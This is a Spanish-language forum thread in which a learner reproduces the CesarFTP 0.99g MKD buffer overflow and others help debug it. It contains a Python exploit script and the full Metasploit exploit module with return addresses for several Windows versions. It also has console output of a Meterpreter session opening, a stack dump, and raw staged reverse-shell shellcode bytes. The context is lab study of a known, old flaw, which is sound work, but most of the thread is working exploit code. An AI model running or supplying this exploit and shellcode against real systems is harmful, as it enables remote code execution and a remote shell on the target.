Necesito ayuda urgente, buffer overflow.

Iniciado por RocKHounD, 27 Febrero 2012, 20:58 PM

0 Miembros y 1 Visitante están viendo este tema.

RocKHounD

Buenas a todos, espero que podais ayudarme porque estoy apunto de lanzarme por un puente...  :-(

Buffer Overflow en CesarFTP 0.99g

Estoy intentando replicar este buffer overflow para seguir aprendiendo estos temas y me he quedado estancado con algunas dudas.

la historia es la siguiente, cuando creo con msfvenom el payload windows/shell/reverse_ord_tcp eliminando los siguientes badchars "\x00\x20\x0a\x0d" (los badchars los extraje del modulo de metasploit)

veo que teniendo un netcat escuchando por el puerto recibo la conexion, pero algo debe de ir mal porque no obtengo ninguna shell.

he modificado con el RET correcto el modulo de metasploit y funciona correctamente pero no soy capaz de replicarle.

mis dudas son estas:

cuando con msfpayload creo la shellcode que puse arriba de arroja dos trozos de codigo, stage1 y stage2. (msfvenom me da un codigo, no dos como msfpayload)

que precisamente es lo que hace msfconsole cuando lo lanzo, crea una stage1 y envia algo, luego crea la stage2 y vuelve a enviar algo hasta que te crea una shell de meterpreter.

como deberia incluir esa parte en el script??.


luego, hay al menos 300 bytes de espacio, si pongo la shellcode de calc.exe la abre a la perfección, sin nigún error en el debbuging, pero cuando pongo la otra se queda medio parado y tengo que forzar la lectura de la pila a mano.

es posible que la eliminación de badchars rompa la shellcode??

con findjump2.exe saco mil offsets para hacer saltar el flujo de la ejecución a mi shellcode, ¿varia el espacio final de la shellcode dependiendo de que JMP ESP escoja??

Otra cosa rarísima es que si en el script en lugar de llamar a la shellcode pongo "B" * 500 para ver mas o menos que espacio tengo disponible, el debbuger no hace absolutamente nada... pero nada de nada... se queda parado como si hubiera recibido el codigo pero lo hubiera asimilado el programa dando la salida ok.

Este es el código que estoy usando, faltan algunas cosas como la propia shellcode y el RET, porque no estoy en casa ahora mismo.

Despues de este está el modulo ruby de metasploit a reproducir, en dicho modulo os pongo "\r\n" cuando define el exploit, porque en el modulo original falta.

Espero que podáis ayudarme, muchas gracias.


#!/usr/bin/python

from socket import *
import struct

eip = struct.pack('<i', 0x54234568 #me la he inventado)

shellcode = ()


host = "127.0.0.1"
port = 21
user = "ftp"
password = "ftp"

s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
print s.recv(1024)

s.send("user %s\r\n" % (user))
print s.recv(1024)

s.send("pass %s\r\n" % (password))
print s.recv(1024)

buffer = "MKD "
buffer += "\n" * 671
buffer += "A" * 3
buffer += eip
buffer += "\x90" * 40
buffer += shellcode
buffer += "\r\n"

print "len: %d" % (len(buffer))

s.send(buffer)
print s.recv(1024)

s.close()



##
# $Id: cesarftp_mkd.rb 11799 2011-02-23 00:58:54Z mc $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
   Rank = AverageRanking
   include Msf::Exploit::Remote::Ftp
   def initialize(info = {})
       super(update_info(info,
           'Name'           => 'Cesar FTP 0.99g MKD Command Buffer Overflow',
           'Description'    => %q{
               This module exploits a stack buffer overflow in the MKD verb in CesarFTP 0.99g.
               You must have valid credentials to trigger this vulnerability. Also, you
               only get one chance, so choose your target carefully.
           },
           'Author'         => 'MC',
           'License'        => MSF_LICENSE,
           'Version'        => '$Revision: 11799 $',
           'References'     =>
               [
                   [ 'CVE', '2006-2961'],
                   [ 'OSVDB', '26364'],
                   [ 'BID', '18586'],
                   [ 'URL', 'http://secunia.com/advisories/20574/' ],
               ],
           'Privileged'     => true,
           'DefaultOptions' =>
               {
                   'EXITFUNC' => 'process',
               },
           'Payload'        =>
               {
                   'Space'    => 250,
                   'BadChars' => "\x00\x20\x0a\x0d",
                   'StackAdjustment' => -3500,
                   'Compat'        =>
                       {
                           'SymbolLookup' => 'ws2ord',
                       }
               },
           'Platform'       => 'win',
           'Targets'        =>
               [
                   [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e14c29 } ],
                   [ 'Windows 2000 Pro SP4 French',  { 'Ret' => 0x775F29D0 } ],
                   [ 'Windows XP SP2/SP3 English',       { 'Ret' => 0x774699bf } ], # jmp esp, user32.dll
                   #[ 'Windows XP SP2 English',       { 'Ret' => 0x76b43ae0 } ], # jmp esp, winmm.dll
                   #[ 'Windows XP SP3 English',       { 'Ret' => 0x76b43adc } ], # jmp esp, winmm.dll
                   [ 'Windows 2003 SP1 English',     { 'Ret' => 0x76AA679b } ],
               ],
           'DisclosureDate' => 'Jun 12 2006',
           'DefaultTarget'  => 0))
   end
   def check
       connect
       disconnect
       if (banner =~ /CesarFTP 0\.99g/)
           return Exploit::CheckCode::Vulnerable
       end
           return Exploit::CheckCode::Safe
   end
   def exploit
       connect_login
       sploit =  "\n" * 671 + rand_text_english(3, payload_badchars)
       sploit << [target.ret].pack('V') + make_nops(40) + payload.encoded + "\r\n"
       print_status("Trying target #{target.name}...")
       send_cmd( ['MKD', sploit] , false)
       handler
       disconnect
   end
end
Breaking The Code
http://btcode.blogspot.com

Ivanchuk

Hola RocKHounD,

Has podido solucionar tu problema?

Cita de: RocKHounD en 27 Febrero 2012, 20:58 PM
Buenas a todos, espero que podais ayudarme porque estoy apunto de lanzarme por un puente...  :-(

Buffer Overflow en CesarFTP 0.99g

Estoy intentando replicar este buffer overflow para seguir aprendiendo estos temas y me he quedado estancado con algunas dudas.

la historia es la siguiente, cuando creo con msfvenom el payload windows/shell/reverse_ord_tcp eliminando los siguientes badchars "\x00\x20\x0a\x0d" (los badchars los extraje del modulo de metasploit)

veo que teniendo un netcat escuchando por el puerto recibo la conexion, pero algo debe de ir mal porque no obtengo ninguna shell.

he modificado con el RET correcto el modulo de metasploit y funciona correctamente pero no soy capaz de replicarle.

mis dudas son estas:

cuando con msfpayload creo la shellcode que puse arriba de arroja dos trozos de codigo, stage1 y stage2. (msfvenom me da un codigo, no dos como msfpayload)

que precisamente es lo que hace msfconsole cuando lo lanzo, crea una stage1 y envia algo, luego crea la stage2 y vuelve a enviar algo hasta que te crea una shell de meterpreter.

como deberia incluir esa parte en el script??.

El stager es una shellcode minima que te abre una conexion a la espera de otro payload llamado stage. El payload de calc.exe es autonomo, o sea sin stager, y es por eso que te funciona bien. Si queres incluir en el script los stagers + stages tendrias que ver como msf interactua con el meterpreter.

Cita de: RocKHounD en 27 Febrero 2012, 20:58 PM
luego, hay al menos 300 bytes de espacio, si pongo la shellcode de calc.exe la abre a la perfección, sin nigún error en el debbuging, pero cuando pongo la otra se queda medio parado y tengo que forzar la lectura de la pila a mano.

es posible que la eliminación de badchars rompa la shellcode??

No, supuestamente la shellcode deberia permanecer intacta, codificada pero funcionalmente intacta.

Cita de: RocKHounD en 27 Febrero 2012, 20:58 PM
con findjump2.exe saco mil offsets para hacer saltar el flujo de la ejecución a mi shellcode, ¿varia el espacio final de la shellcode dependiendo de que JMP ESP escoja??

No

Cita de: RocKHounD en 27 Febrero 2012, 20:58 PM
Otra cosa rarísima es que si en el script en lugar de llamar a la shellcode pongo "B" * 500 para ver mas o menos que espacio tengo disponible, el debbuger no hace absolutamente nada... pero nada de nada... se queda parado como si hubiera recibido el codigo pero lo hubiera asimilado el programa dando la salida ok.

El overflow se produce al introducir muchos __saltos_de_linea__, con cualquier otro caracter no funciona.

Probe el exploit y funciona terriblemente bien con msf. Despues si hago algo de tiempo me fijo con tu script.

Saludos!
Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org

RocKHounD

CitarProbe el exploit y funciona terriblemente bien con msf. Despues si hago algo de tiempo me fijo con tu script.

Hola ivanchuk, con msf funciona a la perfección es lo que no comprendo, debe ser tema de la shellcode porque yo creo que el script Python esta bien escrito, he probado otros exploits en otros lenguajes y el efecto es el mismo, no crea nada y se queda como parado, cuando con msf lo lanzo va de lujo.

Espero que tengas un hueco para echarme una mano.


Cuando extraje los dos stagers de msfpayload los intente incluir en el exploit de esta manera

buffer = "MKD "
buffer += "\n" * 671
buffer += "A" * 3
buffer += eip
buffer += "\x90" * 40
buffer += stage1
buffer += stage2
buffer += "\r\n"



Evidentemente mi invención no funciono
Breaking The Code
http://btcode.blogspot.com

RocKHounD

Te cuento lo que acabo de investigar...
como no hay manera de hacer funcionar el script, he modificado un poco el modulo ruby de metasploit, cambiado los siguientes valores

root@bt:~/Desktop/cesar# msfcli exploit/windows/ftp/cesarftp_mkd RHOST=192.168.11.15 FTPPASS=ftp FTPUSER=ftp E

[*] Please wait while we load the module tree...

RHOST => 192.168.11.15
FTPPASS => ftp
FTPUSER => ftp

[*] Started reverse handler on 192.168.10.195:4444
[*] Trying target Windows RockHounD...
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (752128 bytes) to 192.168.11.15
[*] Meterpreter session 1 opened (192.168.10.195:4444 -> 192.168.11.15:1115) at 2012-03-02 23:48:17 +0100

meterpreter > exit
[*] Shutting down Meterpreter...

[*] Meterpreter session 1 closed.  Reason: User exit




sploit =  "\n" * 671 + rand_text_english(3, payload_badchars)
sploit << [target.ret].pack('V') + make_nops(40) + payload.encoded + "\r\n"

por esto otro.


sploit =  "\n" * 671 + "AAA"
sploit << [target.ret].pack('V') + "\x90" * 40 + "\xcc\xcc\xcc\xcc" + payload.encoded + "\xcc\xcc\xcc\xcc" + "\r\n"



y he obtenido el siguiente resultado.


00B0EE40   350A0D2D  -..5 #buffer "\n" * 671
00B0EE44   0D2D3035  50-. #buffer "\n" * 671
00B0EE48   3035350A  .550 #buffer "\n" * 671
00B0EE4C   41414120   AAA # "AAA"
00B0EE50   77D5AA01  ªÕw  USER32.77D5AA01 # SALTO A JMP ESP
00B0EE54   90909090   # Nops
00B0EE58   90909090   # Nops
00B0EE5C   90909090   # Nops
00B0EE60   90909090   # Nops
00B0EE64   90909090   # Nops
00B0EE68   90909090   # Nops
00B0EE6C   90909090   # Nops
00B0EE70   90909090   # Nops
00B0EE74   90909090   # Nops
00B0EE78   90909090   # Nops
00B0EE7C   D42AFD03  ý*Ô  # Shellcode
00B0EE80   E011737F  sà # Shellcode
00B0EE84   7F4B782F  /xK # Shellcode
00B0EE88   D50B7A14  z Õ # Shellcode
00B0EE8C   7D157BB7  ·{}  SHELL32.7D157BB7 # Shellcode #Esto no estara llamando a algun lado?
00B0EE90   72B4B043  C°´r # Shellcode
00B0EE94   7C679246  F'g| # Shellcode
00B0EE98   4E76F510  õvN # Shellcode
00B0EE9C   32751D77  wu2 # Shellcode
00B0EEA0   9F4FEBF7  ÷ëOŸ # Shellcode
00B0EEA4   7443E3B4  ´ãCt # Shellcode
00B0EEA8   C0A92C2F  /,©À # Shellcode
00B0EEAC   E13070F8  øp0á # Shellcode

..... etc




Luego por interpretacion propia pienso que:


[*] Started reverse handler on 192.168.10.195:4444 # Monta el listening en el 4444 local
[*] Trying target Windows RockHounD...
[*] Transmitting intermediate stager for over-sized stage...(216 bytes) # manda la shellcode
[*] Sending stage (752128 bytes) to 192.168.11.15 # Manda el payload meterpreter pero ya habiendo conectado con el handler


Que no entiendo... pues basicamente, si yo en BT ejecuto el siguiente comando:

root@bt:~/Desktop/cesar# msfpayload windows/shell/reverse_ord_tcp LHOST="192.168.10.195" EXITFUNC=process P

Me devuelve dos codigos.

# windows/shell/reverse_ord_tcp - 93 bytes (stage 1)
# http://www.metasploit.com
# VERBOSE=false, LHOST=192.168.10.195, LPORT=4444,
# ReverseConnectRetries=5, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
my $buf =
"\xfc\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x50\x1c\x8b" .
"\x12\x8b\x72\x20\xad\xad\x4e\x03\x06\x3d\x32\x33\x5f\x32" .
"\x75\xef\x8b\x6a\x08\x8b\x45\x3c\x8b\x4c\x05\x78\x8b\x4c" .
"\x0d\x1c\x01\xe9\x8b\x41\x58\x01\xe8\x8b\x71\x3c\x01\xee" .
"\x03\x69\x0c\x53\x6a\x01\x6a\x02\xff\xd0\x97\x68\xc0\xa8" .
"\x0a\xc3\x68\x02\x00\x11\x5c\x89\xe1\x53\xb7\x0c\x53\x51" .
"\x57\x51\x6a\x10\x51\x57\x56\xff\xe5"

# windows/shell/reverse_ord_tcp - 240 bytes (stage 2)
# http://www.metasploit.com
my $buf =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" .
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" .
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" .
"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" .
"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" .
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" .
"\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" .
"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" .
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" .
"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" .
"\x12\xeb\x86\x5d\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57" .
"\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01" .
"\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46" .
"\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89" .
"\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb" .
"\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" .
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53" .
"\xff\xd5"



Ya mas no alcanzo... si quieres que haga algo lo hago encantado Ivanchuk.

Un saludo.
Breaking The Code
http://btcode.blogspot.com

RocKHounD

Bueno ya he logrado que funcione, el problema son las badchars que no son las que hay que poner, y luego la longitud del Nopsleed tampoco es la que pone en el modulo.

en metasploit funciona porque la shellcode que usa esta creada para esos badchars, si queremos usar cualquier otra hay que poner bastantes mas badchars para el encoder al igual que los nops.

con esta info el que quiera puede solucionarlo  :rolleyes:


Gracias Ivanchuk por todo, aunque me he adelantado XDD
Breaking The Code
http://btcode.blogspot.com

Ivanchuk

#5
Igual es raro, a mi me funciono con tu script sin tocarle nada, solamente el payload. Puse el stager, o sea el primer payload que te tira msfpayload pero encodeado con msfencode, y con msfconsole mande el segundo.
Si uso el payload windows/shell_reverse_tcp, sin stages, no funciona. El servidor me dice "Command overflow". Debe ser por eso el Space=200 en el modulo, el buffer entero tiene espacio limitado imagino, y el shell_reverse_tcp es bastante grande.
Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org

RocKHounD

Olvide comentarte que no quería usar la plataforma msf, msfpayload y encoder si pero no el multi/handler,

Hay un espacio de 339 bytes para alojar la shellcode.

He usado una shellcode que encontré por ahí y la encodee filtrando una cadena larga de badchars que vi en una beta del modulo ruby de metasploit la cual no se porque no esta en el modulo residente.

También he podido comprobar que el modulo del exploit de msf no funciona siempre, algunas veces rompe la pila, reiniciando el server en el debugger un par de veces volvía a funcionar como es debido.

He creado otro hilo en programación Python para añadir la ejecución de netcat al final del script, en este lenguaje soy un iniciado y de momento no tengo soltura
Breaking The Code
http://btcode.blogspot.com

polunchis

Hola RocKHounD, estaba pasando por aqui y me encontre con tu Post,

Hace tiempo a mi tambien me paso lo mismo con este Buffer overflow del Cesar si gustas te puedo ayudar avisame y con gusto te ayudo

Saludos
Polunchis

berz3k

Sres, a mi funciona de forma correcta el exploit portado y/o nativo en metasploit , espero feedback de vustra parte para trastear con los problemas.

-berz3k.